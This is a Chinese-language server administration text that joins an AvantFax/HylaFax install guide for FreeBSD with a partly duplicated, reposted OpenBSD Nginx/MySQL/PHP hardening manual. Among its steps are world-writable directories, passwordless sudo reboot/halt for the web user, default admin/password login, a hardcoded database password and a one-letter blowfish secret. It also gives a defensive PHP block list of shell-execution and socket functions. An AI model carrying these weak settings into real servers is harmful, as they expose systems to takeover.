Apache
ImageMagick
ghostscript
libtiff
netpbm-progs
libungif
sudo
sendmail/postfix/exim/qmail or use an external SMTP server
cups/lpr and psutils
expect

—————————————–
apache

Package方法安装
#pkg_add -r apache22

或者

Ports方法安装
#cd /usr/ports/www/apache22
#make install clean

—————————————–
mysql51-server

Package方法安装
#pkg_add -r mysql51-server

或者

Ports方法安装

#cd /usr/ports/databases/mysql51-server
#make install clean

—————————————–
PHP5

Ports方法安装
#cd /usr/ports/lang/php5
#make install clean
//安装时记得选上第三项“APACHE Build Apache module”支持

—————————————–
PHP5-session

Package方法安装
#pkg_add -r php5-session

或者

Ports方法安装
#cd /usr/ports/www/php5-session
#make install clean

—————————————–
php5-mysql

Package方法安装
#pkg_add -r php5-mysql

或者

Ports方法安装
#cd /usr/ports/databases/php5-mysql
#make install clean

—————————————–
pear-DB

Package方法安装
#pkg_add -r pear-DB

或者

Ports方法安装
#cd /usr/ports/databases/pear-DB
#make install clean

—————————————–
pear-MDB2_Driver_mysql

Ports方法安装
#cd /usr/ports/databases/pear-MDB2_Driver_mysql
#make install clean

—————————————–
pear-Auth

Package方法安装
#pkg_add -r pear-Auth

或者

Ports方法安装
#cd /usr/ports/security/pear-Auth
#make install clean

—————————————–
pear-Auth_SASL

Package方法安装
#pkg_add -r pear-Auth_SASL

或者

Ports方法安装
#cd /usr/ports/security/pear-Auth_SASL
#make install clean

—————————————–
pear-Net_SMTP

Package方法安装
#pkg_add -r pear-Net_SMTP

或者

Ports方法安装
#cd /usr/ports/net/pear-Net_SMTP
#make install clean

—————————————–
pear-Mail

Package方法安装
#pkg_add -r pear-Mail

或者

Ports方法安装
#cd /usr/ports/mail/pear-Mail
#make install clean

—————————————–
pear-Mail_Mime

Package方法安装
#pkg_add -r pear-Mail_Mime

或者

Ports方法安装
#cd /usr/ports/mail/pear-Mail_Mime
#make install clean

—————————————–
pear-Mail_mimeDecode

Package方法安装
#pkg_add -r pear-Mail_mimeDecode

或者

Ports方法安装
#cd /usr/ports/mail/pear-Mail_mimeDecode
#make install clean

—————————————–
pear-PHP_Compat

Package方法安装
#pkg_add -r pear-PHP_Compat

或者

Ports方法安装
#cd /usr/ports/devel/pear-PHP_Compat
#make install clean

—————————————–
pear-HTML_Common

Ports方法安装
#cd /usr/ports/devel/pear-HTML_Common
#make install clean

—————————————–
pear-HTML_QuickForm

Package方法安装
#pkg_add -r pear-HTML_QuickForm

或者

Ports方法安装
#cd /usr/ports/devel/pear-HTML_QuickForm
#make install clean

—————————————–
pecl-fileinfo

Package方法安装
#pkg_add -r pecl-fileinfo

或者

Ports方法安装
#cd /usr/ports/sysutils/pecl-fileinfo
#make install clean

—————————————–
php5-mbstring

Package方法安装
#pkg_add -r php5-mbstring

或者

Ports方法安装
#cd /usr/ports/converters/php5-mbstring
#make install clean

—————————————–
ImageMagick

Package方法安装
#pkg_add -r ImageMagick

或者

Ports方法安装
#cd /usr/ports/graphics/ImageMagick
#make install clean

—————————————–
smarty

Package方法安装
#pkg_add -r smarty

或者

Ports方法安装
#cd /usr/ports/www/smarty
#make install clean

—————————————–
netpbm

Package方法安装
#pkg_add -r netpbm

或者

Ports方法安装
#cd /usr/ports/graphics/netpbm
#make install clean

—————————————–
libungif

Package方法安装
#pkg_add -r libungif

或者

Ports方法安装
#cd /usr/ports/graphics/libungif
#make install clean

—————————————–
sudo

Package方法安装
#pkg_add -r sudo

或者

Ports方法安装
#cd /usr/ports/security/sudo
#make install clean

—————————————–
cups

Package方法安装
#pkg_add -r cups

或者

Ports方法安装
#cd /usr/ports/print/cups
#make install clean

—————————————–
psutils-a4

Package方法安装
#pkg_add -r psutils-a4

或者

Ports方法安装
#cd /usr/ports/print/psutils-a4
#make install clean

—————————————–
expect

Package方法安装
#pkg_add -r expect

或者

Ports方法安装
#cd /usr/ports/lang/expect
#make install clean

—————————————————————————————–

软件下载：http://www.avantfax.com/download.php

将下载到的软件包通过FTP上传到服务器的vincent目录下,解压:
#cd /home/vincent
#gunzip avantfax-3.1.6.tgz.gz
#tar zxvf avantfax-3.1.6.tgz

移动avantfax Web目录:
#cd avantfax-3.1.6
#mv avantfax /usr/local/www/
#chmod -R 777 /usr/local/www/avantfax/tmp /usr/local/www/avantfax/faxes
#chown -R www:www /usr/local/www/avantfax//includes/templates

# ln -s /usr/local/www/avantfax/includes/faxrcvd.php /var/spool/hylafax/bin/faxrcvd.php
# ln -s /usr/local/www/avantfax/includes/dynconf.php /var/spool/hylafax/bin/dynconf.php
# ln -s /usr/local/www/avantfax/includes/notify.php /var/spool/hylafax/bin/notify.php

编辑config.ttyd0 //我的是外置modem,连接电脑com1，所以是ttyd0
# vi /var/spool/hylafax/etc/config.ttyd0

//添加
#
## AvantFAX configuration
#
FaxrcvdCmd: bin/faxrcvd.php
DynamicConfig: bin/dynconf.php
UseJobTSI: true

————————————-
编辑config
# vi /var/spool/hylafax/etc/config

//添加
#
## AvantFAX configuration
#
NotifyCmd: bin/notify.php

————————————–
备份/替换faxcover程序
#mv /usr/local/bin/faxcover /usr/local/bin/faxcover.old
#ln -s /usr/local/www/avantfax/includes/faxcover.php /usr/local/bin/faxcover

设置HylaFax用户支持Avantfax
#/usr/local/sbin/faxadduser -a pwd www
#/usr/local/sbin/faxdeluser localhost
#/usr/local/sbin/faxdeluser 127.0.0.1
#echo 127.0.0.1 >> /var/spool/hylafax/etc/hosts.hfaxd

编辑Avantfax设置文件
#cd /usr/local/www/avantfax/includes
#cp local_config-example.php local_config.php
#vi local_config.php

$BINARYDIR = ‘/usr/bin’;
//修改为:
$BINARYDIR = ‘/usr/local/bin’;

$HYLAFAX_PREFIX = ‘/usr’;
//修改为:
$HYLAFAX_PREFIX = ‘/usr/local’;

$WWWUSER = ‘apache’;
//修改为:
$WWWUSER = ‘www’;

$dft_config_lang = ‘en’;
//修改为:
$dft_config_lang = ‘zh’;

——————————————————-
编辑hfaxd.conf
#vi /usr/local/lib/fax/hfaxd.conf

#JobFmt: “%-3j %3i %1a %6.6o %-12.12e %5P %5D %7z %.25s”
//修改为:
JobFmt: “%-3j %3i %1a %15o %40M %-12.12e %5P %5D %7z %.25s”

——————————————————-
软件启动设置:
#vi /etc/rc.conf
//添加
apache22_enable=”YES”
mysql_enable=”YES”

——————————————————-
apache22设置

#vi /usr/local/etc/apache22/httpd.conf

DirectoryIndex index.html
//修改为:
DirectoryIndex index.html index.php

//添加
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps

——————————————————-
新建fax.conf
#vi /usr/local/etc/apache22/Includes/fax.conf

//添加
NameVirtualHost *:80

ServerName fax.test.org
DocumentRoot /usr/local/www/avantfax/

AllowOverride None
Options None
Order allow,deny
Allow from all

——————————————————–
PHP程序连接
#ln-s /usr/local/bin/php /usr/bin/php

启动apache
#/usr/local/etc/rc.d/apapche start

——————————————————–
avantfax数据导入

启动mysql
#/usr/local/etc/rc.d/mysql start

导入数据
#cd /home/vincent/avantfax-3.1.6
#mysql -uroot < create_user.sql
#mysql -uavantfax -pd58fe49 avantfax < create_tables.sql

--------------------------------------------------------
编辑/etc/crontab
# vi /etc/crontab

//添加
# runs once an hour to update the phone book
0 * * * * root /usr/local/www/avantfax/includes/phb.php
# runs once a day to remove old files
0 0 * * * root /usr/local/www/avantfax/includes/avantfaxcron.php -t 2

---------------------------------------------------------
编辑/usr/local/etc/sudoers
#vi /usr/local/etc/sudoers

//添加
#Defaults requiretty
www ALL = NOPASSWD: /sbin/reboot, /sbin/halt, /usr/local/sbin/faxdeluser, /usr/local/sbin/faxadduser -u * -p * *

---------------------------------------------------------
打开浏览器（IE/firefox/opera)，打上下面的网址：

http://192.168.1.203/admin/

username: admin
password: password

新建 "传真分类" ---> 新建 “Modem” —> 新建 “用户”
到此，服务器基本上可以使用。

本手册以在OpenBSD 4.4环境下搭建Nginx、MySQL、PHP环境为例进行讲解。按照惯例，root权限。

=====================================================

目录

一、OpenBSD的安装及注意事项 二、系统性能调优 Ⅰ、/etc/fstab调优 Ⅱ、/etc/sysctl.conf调优

三、O.N.M.P.软件环境的安装 四、Nginx配置 Ⅰ、Nginx配置文件的修改 Ⅱ、Nginx日志截断

五、MySQL与phpMyAdmin的配置 Ⅰ、MySQL的配置 Ⅱ、phpMyAdmin的配置

六、强化PHP的安全 七、强化SSH的安全 Ⅰ、SSH配置文件的修改 Ⅱ、使用KEY进行验证 Ⅲ、按需启动SSH Ⅳ、一点安全小常识

八、启用Packet Filter防火墙 九、系统启动脚本的修改

=====================================================

一、OpenBSD的安装及注意事项

OpenBSD的安装这里就不多说了，主要是安装时系统组件的选择、分区和系统服务的部分。对于系统组件部分，作为生产系统来说，偶并不推荐安装comp44.tgz这个组件。因为comp44.tgz实际就是编译器，不装这个，可以在很大程度上避免安装一些非授权的软件，从而提高远程主机的安全性。如果真的需要安装什么软件，也可以在非重要的机器上进行编译，然后使用PSFTP等软件上传到远程主机上使用。关于PSFTP软件的使用，二楼有详细的介绍。

系统分区时，推荐将/usr、/usr/local、/var、/var/mysql、/var/mail、/var/log、/var/nginx等分区单独分出来，也就是说，进行比较细致的分区，防止某个目录中的文件膨胀占满整个分区导致的死锁等问题。假定你有一个80G的硬盘，一个分区示例在下面：

/ 200M (swap) 1G /tmp 200M /usr 500M /usr/local 200M /var 100M /var/mysql 10G /var/mail 100M /var/log 5G~10G /home 200M /var/nginx 剩余空间

至于系统服务部分，建议所有的服务都选择“n”，亦即不随系统启动。 二、系统性能调优

对于多核的机器，使用bsd.mp这个核心。

[Copy to clipboard] [ - ]CODE: mv /bsd /obsd mv /bsd.mp /bsd

Ⅰ、/etc/fstab调优

[Copy to clipboard] [ - ]CODE: vi /etc/fstab

在文件系统描述符部分，加入”noatime”和”softdep”。示例如下：

QUOTE: /dev/wd0a / ffs rw,noatime,softdep 1 1 /dev/wd0l /home ffs rw,nodev,nosuid,noatime,softdep 1 2 /dev/wd0d /tmp ffs rw,nodev,nosuid,noatime,softdep 1 2 /dev/wd0e /usr ffs rw,nodev,noatime,softdep 1 2 /dev/wd0f /usr/local ffs rw,nodev,noatime,softdep 1 2 /dev/wd0g /var ffs rw,nodev,nosuid,noatime,softdep 1 2 /dev/wd0i /var/log ffs rw,nodev,nosuid,noatime,softdep 1 2 /dev/wd0j /var/mail ffs [...]]]> 很久没弄过OPENBSD，而且，听说现在的NGINX很红，性能比传统的APACHE要好很多倍，因而，一直想弄个NGINX服务器环境。加上，俺也想熟悉回OPENBSD，就想着弄个OPENBSD，NGINX，MYSQL，PHP的环境。。弄来玩玩，就当复习一下技术。出于习惯，俺还是在网上找了这篇文档。初步看过，好像写得不错，，就先弄过来，暂没时间实操过，待俺忙过这段时间。就再次重点研究一下俺熟悉而喜欢的UNIX服务器与数据库技术。。。

本手册以在OpenBSD 4.4环境下搭建Nginx、MySQL、PHP环境为例进行讲解。按照惯例，root权限。

=====================================================

目录

一、OpenBSD的安装及注意事项
二、系统性能调优
Ⅰ、/etc/fstab调优
Ⅱ、/etc/sysctl.conf调优

三、O.N.M.P.软件环境的安装
四、Nginx配置
Ⅰ、Nginx配置文件的修改
Ⅱ、Nginx日志截断

五、MySQL与phpMyAdmin的配置
Ⅰ、MySQL的配置
Ⅱ、phpMyAdmin的配置

六、强化PHP的安全
七、强化SSH的安全
Ⅰ、SSH配置文件的修改
Ⅱ、使用KEY进行验证
Ⅲ、按需启动SSH
Ⅳ、一点安全小常识

八、启用Packet Filter防火墙
九、系统启动脚本的修改

=====================================================

一、OpenBSD的安装及注意事项

OpenBSD的安装这里就不多说了，主要是安装时系统组件的选择、分区和系统服务的部分。对于系统组件部分，作为生产系统来说，偶并不推荐安装comp44.tgz这个组件。因为comp44.tgz实际就是编译器，不装这个，可以在很大程度上避免安装一些非授权的软件，从而提高远程主机的安全性。如果真的需要安装什么软件，也可以在非重要的机器上进行编译，然后使用PSFTP等软件上传到远程主机上使用。关于PSFTP软件的使用，二楼有详细的介绍。

系统分区时，推荐将/usr、/usr/local、/var、/var/mysql、/var/mail、/var/log、/var/nginx等分区单独分出来，也就是说，进行比较细致的分区，防止某个目录中的文件膨胀占满整个分区导致的死锁等问题。假定你有一个80G的硬盘，一个分区示例在下面：

/ 200M
(swap) 1G
/tmp 200M
/usr 500M
/usr/local 200M
/var 100M
/var/mysql 10G
/var/mail 100M
/var/log 5G~10G
/home 200M
/var/nginx 剩余空间

至于系统服务部分，建议所有的服务都选择“n”，亦即不随系统启动。

二、系统性能调优

对于多核的机器，使用bsd.mp这个核心。

[Copy to clipboard] [ - ]CODE:
mv /bsd /obsd
mv /bsd.mp /bsd

Ⅰ、/etc/fstab调优

[Copy to clipboard] [ - ]CODE:
vi /etc/fstab

在文件系统描述符部分，加入”noatime”和”softdep”。示例如下：

QUOTE:
/dev/wd0a / ffs rw,noatime,softdep 1 1
/dev/wd0l /home ffs rw,nodev,nosuid,noatime,softdep 1 2
/dev/wd0d /tmp ffs rw,nodev,nosuid,noatime,softdep 1 2
/dev/wd0e /usr ffs rw,nodev,noatime,softdep 1 2
/dev/wd0f /usr/local ffs rw,nodev,noatime,softdep 1 2
/dev/wd0g /var ffs rw,nodev,nosuid,noatime,softdep 1 2
/dev/wd0i /var/log ffs rw,nodev,nosuid,noatime,softdep 1 2
/dev/wd0j /var/mail ffs rw,nodev,nosuid,noatime,softdep 1 2
/dev/wd0h /var/mysql ffs rw,nodev,nosuid,noatime,softdep 1 2
/dev/wd0k /var/nginx ffs rw,nodev,nosuid,noatime,softdep 1 2

友情提醒：softdep是一种非同步的文件系统，意外掉电可能造成数据的遗失/损坏，生产系统请谨慎使用！

改完后保存退出，reboot，看能不能正常启动。

一般情况下是没有问题的，个别机器或虚拟机可能会因为兼容性的缘故，无法启动。那么就把根目录的softdep拿掉，其他目录保留，仍然会有作用。

更多关于OpenBSD环境下磁盘性能调优的内容，请参看偶博客的文章，地址在下面：

http://blog.chinaunix.net/u2/81136/showart_1841280.html

Ⅱ、/etc/sysctl.conf调优

[Copy to clipboard] [ - ]CODE:
vi /etc/sysctl.conf

跳到最后，加入下面的内容：

QUOTE:
# 增大文件系统缓存到1M
kern.maxvnodes=131072

# 允许最多65536个进程
kern.maxproc=65536

# 同时最多打开65536个文件
kern.maxfiles=65536

# 并发连接最大65536
kern.somaxconn=65536

# 保留的最少连接数
kern.sominconn=256
kern.maxclusters=32768

# 增大TCP接收/发送缓存到64K
net.inet.tcp.recvspace=65536
net.inet.tcp.sendspace=65536

# 增大UDP接收/发送缓存到64K
net.inet.udp.recvspace=65536
net.inet.udp.sendspace=65536

注意：虚拟机测试只加最上面一行kern.maxvnodes=65536即可，其他的不必加了，否则会有各种问题。独立机器的可以加上。

保存退出，reboot。不能正常启动的就把除kern.maxvnodes以外的数字调小或者禁用再试。

三、OpenBSD.Nginx.MySQL.PHP软件环境的安装

OpenBSD环境下软件的安装是非常简单的，因为在官方的ftp中提供了已经编译好的二进制包，需要安装的软件都在ftp中，从ftp中安装即可。

小提示：如果你机器比较多，你可以把需要安装的软件包都down回来，其他机器再来这里安装，速度会非常快！

[Copy to clipboard] [ - ]CODE:
export PKG_PATH=ftp://ftp.openbsd.org/pub/OpenBSD/4.4/packages/i386/

pkg_add mysql-server php5-fastcgi php5-gd-5.2.6-no_x11 phpMyAdmin lighttpd-1.4.19p3 nginx pecl-APC

以偶的1M ADSL小水管为例，大约也就二十分钟左右就安装完毕了！真的是非常快！和其他系统的wget源码、./configure && make && make install…所需要的时间相比，效率是非常高！而且，由于OpenBSD默认采用比较高的安全策略，装上的环境安全性也比其他系统要高！

等所需的软件都安装完成后，按提示作链接并创建PHP临时工作目录：

QUOTE:
ln -s /var/www/conf/modules.sample/php5.conf /var/www/conf/modules
ln -fs /var/www/conf/php5.sample/apc.ini /var/www/conf/php5/apc.ini
ln -fs /var/www/conf/php5.sample/gd.ini /var/www/conf/php5/gd.ini
ln -fs /var/www/conf/php5.sample/mbstring.ini /var/www/conf/php5/mbstring.ini
ln -fs /var/www/conf/php5.sample/mcrypt.ini /var/www/conf/php5/mcrypt.ini
ln -fs /var/www/conf/php5.sample/mysql.ini /var/www/conf/php5/mysql.ini
mkdir /var/nginx/sesstmp
chmod 0777 /var/nginx/sesstmp

pkg_info检查一下系统中安装了些什么软件包：

可以看到，所需的软件包和依赖的包都安装好了！

四、Nginx配置

Ⅰ、Nginx配置文件的修改

修改nginx的默认配置文件：

[Copy to clipboard] [ - ]CODE:
vi /etc/nginx/nginx.conf

按下面的内容修改Nginx的配置文件。兰色表示需要手动修改的内容，红色表示增加的内容：

QUOTE:
#user nobody;

# 指定子进程数，酌情修改
worker_processes 4;

#error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log info;

#pid logs/nginx.pid;

# 最多可打开文件数
worker_rlimit_nofile 8196;

events {
# 最大并发数
worker_connections 1024;
}

http {
include mime.types;
default_type application/octet-stream;

# 关掉错误日志
error_log /dev/null crit;
# 如果需要错误日志，就用下面这行替换上面这行
#error_log /var/log/nginx/error.log notice;

# 定义日志格式，对日志使用缓存，避免频繁的磁盘I/O操作
access_log /var/log/nginx/access.log combined buffer=1m;

sendfile on;
tcp_nopush on;
tcp_nodelay on;

keepalive_timeout 10;

# 对静态文件和可压缩文件启用压缩，以节约网络带宽，提高访问速度
gzip on;
gzip_min_length 1k;
gzip_buffers 4 8k;
gzip_http_version 1.1;
gzip_comp_level 3;
gzip_types text/html text/css text/xml text/plain application/x-javascript application/xml application/pdf application/x-perl application/x-tcl application/msword application/rtf application/vnd.ms-excel application/vnd.ms-powerpoint application/vnd.wap.xhtml+xml image/x-ms-bmp;
gzip_disable “MSIE [1-6] \.”;
gzip_vary on;

# 定义输出缓存大小
output_buffers 4 32k;

# 最大允许可上传文件大小
client_max_body_size 20m;

# 定义一个叫“myzone”的记录区，总容量为 10M
# 和下面的limit_conn一起限制单个IP的并发连接数为10
limit_zone myzone $binary_remote_addr 10m;

server {
listen 80;
server_name localhost;

location / {
root /var/nginx/html;
index index.php index.html index.htm;
limit_conn myzone 10;
}

error_page 500 502 503 504 /50x.html;

location = /50x.html {
root /var/nginx/html;
}

location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/nginx/html$fastcgi_script_name;
include fastcgi_params;
}

# 在浏览器本地暂存图片和静态文件，不记录日志，以节约机器资源
location ~* \.(gif|png|jpg|jpeg|bmp|css|js|swf)$
{
root /var/nginx/html;
access_log off;
expires max;
}

# 在浏览器中输入http://xxx.xxx.xxx/status可以看到Nginx的运行信息
# 需要密码验证，不记录日志，限制IP访问
location ~ /status
{
auth_basic “O.N.M.P.”;
auth_basic_user_file password;
stub_status on;
access_log off;
allow 192.168.0.0/24;
deny all;
}
}

}

其他的部分请酌情修改。

运行下面的命令生成查看Nginx运行状态的密码文件：

[Copy to clipboard] [ - ]CODE:
htpasswd -c /etc/nginx/password webadmin

按提示输入两遍密码即可。

在查看status的时候，输入用户名webadmin（见上面这行）和密码就能够看到Nginx的运行数据了。

Nginx能够流行和它的高负载能力是分不开的，在追求性能表现的场合，推荐使用Nginx+PHP-fastcgi的组合以获得强健的性能表现。而对于那些重视安全性的场合来说，可能OpenBSD内核集成的Apache更合适。OpenBSD下搭建Apache、MySQL、PHP环境的详细内容请参见偶的另篇博文，地址在下面：（博客速度可能较慢，四楼有转帖）

http://blog.chinaunix.net/u2/81136/showart_1860332.html

当然，你也可以利用Nginx内置的负载均衡功能，在前端分配访问流量，后端由Apache来运行PHP环境。Nginx负载均衡的配置可以去Nginx的主页参看相关内容，地址：http://wiki.nginx.org/Main。

下面为一个Nginx负载均衡的示例：

QUOTE:
http {
upstream myproject {
ip_hash;
server 192.168.1.1:80;
server 192.168.1.2:80;
server 192.168.1.3:80;
server 192.168.1.4:80;
}

server {
listen 80;
server_name www.domain.com;
location / {
proxy_pass http://myproject;
}
}
}

网络拓扑示意图如下：

Ⅱ、Nginx日志截断

OpenBSD默认每天00:00会执行/etc/daily.local脚本中的内容，我们只需要把Nginx日志截断的命令加入到这个文件中即可。

[Copy to clipboard] [ - ]CODE:
vi /etc/daily.local

加入下面的内容：

QUOTE:
#!/bin/sh
# 对Nginx日志进行截断和压缩，以节约log分区空间
# 在张宴的基础上修改，感谢！
mkdir -p /var/log/nginx/$(date -d “yesterday” +”%Y”)/$(date -d “yesterday” +”%m”)/
mv /var/log/nginx/access.log /var/log/nginx/$(date -d “yesterday” +”%Y”)/$(date -d “yesterday” +”%m”)/access.$(date -d “yesterday” +”%Y%m%d”).log
kill -USR1 `cat /var/run/nginx.pid`
sleep 1
gzip /var/log/nginx/$(date -d “yesterday” +”%Y”)/$(date -d “yesterday” +”%m”)/access.$(date -d “yesterday” +”%Y%m%d”).log

保存退出，为/etc/daily.local加上执行权限：

[Copy to clipboard] [ - ]CODE:
chmod 0755 /etc/daily.local

其他需要每天运行的命令也都可以加在这个脚本里面，各位自行处理。

五、MySQL与phpMyAdmin的配置

Ⅰ、MySQL的配置

安全起见，MySQL需要运行在自己的daemon下：

[Copy to clipboard] [ - ]CODE:
vi /etc/login.conf

跳到最后，加入MySQL所需的修改：

QUOTE:
mysql:\
penfiles-cur=2048:\
penfiles-max=4096:\
:tc=daemon:

使修改生效：

[Copy to clipboard] [ - ]CODE:
cap_mkdb /etc/login.conf

初始化MySQL数据库：

[Copy to clipboard] [ - ]CODE:
/usr/local/bin/mysql_install_db

MySQL自带了几个配置文件，在/usr/local/share/mysql目录中，可以拷贝为/etc/my.cnf使用。关于MySQL的配置和优化等内容，可以自行Google，这里不再赘述。
MySQL安全须知
不要用root身份运行数据库或PHP应用。并且，最好是数据库名和数据库用户名不同，以提高安全性。

例如，域名为example.net，则数据库名设为abcxyz，数据库用户名设为xyzabc。总之，关联度越低越好，数据库名和数据库用户名越复杂越难猜测越好。

控制权限的分配，PHP应用仅给予必要的权限。

例如，安装/升级Discuz!和PHPWind论坛程序，仅需要下图所示的权限即可：

在安装/升级完毕后，还可以把CREATE、ALTER、DROP权限去掉，不会影响论坛程序的运行，而且提高了安全性！
Ⅱ、phpMyAdmin的配置

由于OpenBSD中的phpMyAdmin默认是安装在/var/www/phpMyAdmin目录中的，直接使用Nginx是无法访问的，我们需要把它拷贝到Nginx目录下，这样就可以通过浏览器来管理MySQL数据库了。

[Copy to clipboard] [ - ]CODE:
mkdir /var/nginx/html/pma/
cp -rf /var/www/phpMyAdmin/* /var/nginx/html/pma/

修改phpMyAdmin的配置文件，使之可用。

[Copy to clipboard] [ - ]CODE:
vi +17 /var/nginx/html/pma/config.inc.php

将下面这行修改成：

QUOTE:
$cfg['blowfish_secret'] = ‘a’; /* YOU MUST FILL IN THIS FOR COOKIE AUTH! */

（仅是加入了字母a而已）

保存退出。
小提示：
上面新建了/var/nginx/html/pma目录来保存phpMyAdmin的文件，目录名很简单。你可以用一个更复杂的目录名来代替，例如：pma2YAY5jRpfFfLXQVm这样的目录名，以防止黑客利用字典攻击等方法渗透你的phpMyAdmin！

你还可以在Nginx的配置文件中，将/var/nginx/html/pma配置成某个虚拟主机的根目录，并限定可以访问这个虚拟主机的IP。这样，就可以在很大程度上提高数据库的安全性了！一个配置示例在下面：

QUOTE:
location / {
allow 192.168.0.0/24;
deny all;
}

假如平时只是偶尔用到phpMyAdmin，你还可以在用完后删除/var/nginx/html/pma目录，需要用的时候再拷贝过去。

你还可以将以上方法结合起来灵活使用，既建立一个无法被猜测的目录名，又限制IP访问，这样你的系统被黑的机会就会小了很多！
六、强化PHP的安全

OpenBSD软件包中的PHP已经自带了suhosin这个补丁，可以在很大程度上提高PHP脚本的安全。本节主要讨论在php.ini文件中进行相关的设置，进一步提升安全性。具体来说，就是禁用某些危险函数和启用PHP安全模式。

偶一般是把对PHP的所有修改都放在一个单独的文件中进行，包括对PHP参数以及扩展模块的修改，都放在这个文件中一并处理，这样查找、修改和管理会方便许多：

[Copy to clipboard] [ - ]CODE:
vi /var/www/conf/php5/addphp.ini

加入下面的内容：

QUOTE:
; 禁止动态加载模块
enable_dl = Off

; 隐藏PHP信息
expose_php = Off

; 限定可访问目录
open_basedir = /var/nginx/html/

;设定session暂存目录
session.save_path=/var/nginx/sesstmp

; 设定PHP上传文件的临时目录
upload_tmp_dir=/var/nginx/tmp

; 禁用危险函数（注意下面的内容应该是一行，编排的原因分成了多行）
disable_functions = phpinfo,com,shell,exec,system,passthru,error_log,
stream_socket_server,putenv,ini_alter,ini_restore,ini_set,dl,openlog,
syslog,readlink,symlink,link,leak,fsockopen,pfsockopen,proc_open,
popepassthru,escapeshellcmd,escapeshellarg,chroot,scandir,
chgrp,chown,shell_exec,proc_get_status,popen,shmop_close,
shmop_delete,shmop_open,shmop_read,shmop_size,shmop_write

; 启用PHP的安全模式
; PHP在安全模式下运行是用性能换安全。据简单测试，性能下降到50%左右，各位请酌情使用
; 启用安全模式后，某些程序可能受到影响。例如，Discuz!将无法上传附件
safe_mode = On

; pecl-APC只使用16M的共享内存用以加速PHP程序的运行
apc.shm_size=16M

保存退出。
七、强化SSH的安全
Ⅰ、SSH配置文件的修改

[Copy to clipboard] [ - ]CODE:
vi /etc/ssh/sshd_config

跳到最后，加入下面的部分：

QUOTE:
# 使用高位端口，防止黑客扫描22端口。可选范围1024~65535，推荐32768~65535。
Port 58937

# 登录时间控制在30秒内
LoginGraceTime 30

# 不允许root远程直接登录
PermitRootLogin no
StrictModes yes

# 最多允许三次错误
MaxAuthTries 3

# 最多允许三个SSH线程
MaxSessions 3

# 使用SSH协议2
Protocol 2

# 不使用密码认证
PasswordAuthentication no

# 使用KEY的方式认证
PubkeyAuthentication yes

# KEY文件存放位置
AuthorizedKeysFile .ssh/authorized_keys

Ⅱ、使用KEY进行验证

下面以Windows环境下PuTTY为例讲解使用KEY验证的方法，Linux/UNIX下与此类似。

首先，从下面的网址下载PuTTY的安装包（Windows）：

http://the.earth.li/~sgtatham/putty/latest/x86/putty-0.60-installer.exe

下完后双击安装，不再赘述。这个软件包自带了下面几个非常实用的软件：

QUOTE:
PuTTYgen:生成KEY；

Pageant:管理KEY；

PuTTY:SSH客户端；

PSFTP:使用SSH上传/下载文件。

下面就来实例讲解用PuTTY的这几个软件对远程主机进行KEY认证和管理的方法。假设我们要在192.168.0.132这个远程主机上使用young_king这个用户名进行KEY认证和登录。
1.生成KEY

启动PuTTYgen，如下图：

在密钥长度栏输入想要的密钥长度，越大越安全。这里以最大的2048位为例，然后点“Generate”按钮，会开始生成KEY，生成过程中需要在下面的空白部分移动鼠标来生成随机数。

KEY生成完毕后，你可以输入一些标识信息，如下图：

还可以在下面的passphrase框内输入“保护码”，注意要输入两遍。“保护码”也就是密码的意思，用来保密私钥的，一定要记住这个哦！

都输入完毕后，点击下面的“Save public key”按钮保存公钥，如下图所示：

然后点击“Save private key”按钮保存私钥，如下图：

这个私钥最好不要保存在电脑上，我们把它拷贝到U盘上，随身带着，这就是我们的“KEY盘”。

要养成每月更换“保护码”的好习惯，更换“保护码”仍然要用到PuTTYgen这个软件，启动后点击“Load”，载入私钥，重新输入“保护码”，再确认一遍，然后点击“Save private key”保存即可！

2.启用KEY

上面生成了公钥和私钥，我们需要把公钥上传到远程主机的用户目录中，就要用到PSFTP这个软件了。启动它，如下图：

输入命令：open 192.168.0.132

接下来，PSFTP会列出远程主机上的RSA指纹以供识别，如下图：

这个指纹可以在远程主机上输入下面的命令查看：

[Copy to clipboard] [ - ]CODE:
ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key

请把这个指纹记在纸上，随身携带，和远程主机连接的时候就拿出来对比一下（这么做主要是为了防止连接被人劫持和指纹被伪造）。

如果上面PSFTP显示的指纹和远程主机上的不一致，那么毫无疑问是伪造的了，直接回车断开连接。如果相符，你可以输入“y”来保存这个指纹到本地计算机上（不推荐），或输入“n”只是这次连接使用。

随后PSFTP会让你输入登录用户名和密码，并自动进入该用户的根目录，如下图（以root为例）：

现在我们要把第一步生成的公钥上传到远程主机上（请把这个公钥复制到C:\Documents and Settings\Administrator目录先，如果你的Windows不是用Administrtor登录的，就替换成你登录用的用户名）。输入命令：put young_king，可以看到，公钥已经上传到/root目录了，见下图：

PuTTY生成的KEY并不能直接使用，需要转换一下。用PuTTY登录（此时上面修改的端口尚未启用，还是默认的22端口），以root身份执行：

[Copy to clipboard] [ - ]CODE:
ssh-keygen -X -f /root/young_king > /home/young_king/.ssh/authorized_keys

这就把公钥成功导入到young_king的目录中了，就可以被young_king这个用户使用了！

导入成功后，要删除多余的公钥：

[Copy to clipboard] [ - ]CODE:
rm /root/young_king

下面介绍几个PSFTP常用的命令：

QUOTE:
open xxx.xxx.xxx.xxx：打开远程主机（xxx.xxx.xxx.xxx为IP或域名）；

put xxxxxxxx：向远程主机上传文件（该文件需要事先拷贝到C:\Documents and Settings\Administrator目录）；

get xxxxxxxx：从远程主机下载文件（下载后保存在C:\Documents and Settings\Administrator目录）；

cd xxxxxx:进入远程主机的相应目录；

exit：退出PSFTP（也可以点右上角的叉关闭，不过不推荐这样做）。

更多的命令可以参看PuTTY的帮助文件，这个帮助写得不错。

3.使用KEY登录

我们上面虽然修改了SSH的配置文件（/etc/ssh/sshd_config），但还没有启用。输入下面的命令启用新的SSH配置，以便我们用KEY登录：

[Copy to clipboard] [ - ]CODE:
kill -HUP `cat /var/run/sshd.pid`

PuTTY提供了一个KEY的管理程序，上面已经提到，是Pageant，我们使用这个程序来进行KEY登录。

启动Pageant，它会自动缩小到任务栏的通知区域，右键单击，选择“Add key”，会弹出个对话框让我们选择。插入上面制作好的“KEY盘”，并选择保存的私钥，会弹出个对话框让我们输入“保护码”，如下图：

如果安装PuTTY时选择了让Pageant关联.ppk文件，则双击私钥可以自动启动Pageant。

